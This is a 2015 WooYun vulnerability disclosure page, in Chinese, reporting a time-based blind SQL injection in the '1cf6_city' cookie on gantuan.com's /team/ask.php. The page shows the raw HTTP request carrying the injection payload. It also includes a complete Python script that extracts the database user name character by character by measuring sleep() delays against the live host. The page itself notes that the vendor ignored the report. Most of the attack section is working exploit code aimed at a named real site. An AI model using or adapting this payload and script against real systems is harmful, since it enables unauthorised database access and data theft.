当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161010

漏洞标题:赶团网WWW主站Cookie存在SQL注入漏洞(附验证脚本)

相关厂商:gantuan.com

漏洞作者: 深度安全实验室

提交时间:2015-12-14 11:12

修复时间:2015-12-19 11:14

公开时间:2015-12-19 11:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-14: 细节已通知厂商并且等待厂商处理中
2015-12-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

GET /team/ask.php HTTP/1.1
Cookie: PHPSESSID=1824f59adfd9f7ca60ecaa80da7f5575; 1cf6_city='XOR(if(now()=sysdate(),sleep(if(length(user())=17,3,0)),0))OR';
X-Requested-With: XMLHttpRequest
Referer: http://www.gantuan.com
Host: www.gantuan.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Cookie中的1cf6_city参数存在注入

91.png


user的长度为17~

888.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,18):
for payload in payloads:

try:

conn = httplib.HTTPConnection('www.gantuan.com', timeout=10)

headers['Cookie']="PHPSESSID=1824f59adfd9f7ca60ecaa80da7f5575;1cf6_city='XOR(if(now()=sysdate(),sleep(if(ascii(mid(user(),%s,1))=%s,10,0)),0))OR';" % (i, ord(payload))
conn.request(method='GET', url= '/team/ask.php' ,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
except Exception, e:
user += payload
print '\nIn progress]', user
break

print '\n[Done] User is:', user


漏洞证明:

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-19 11:14

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价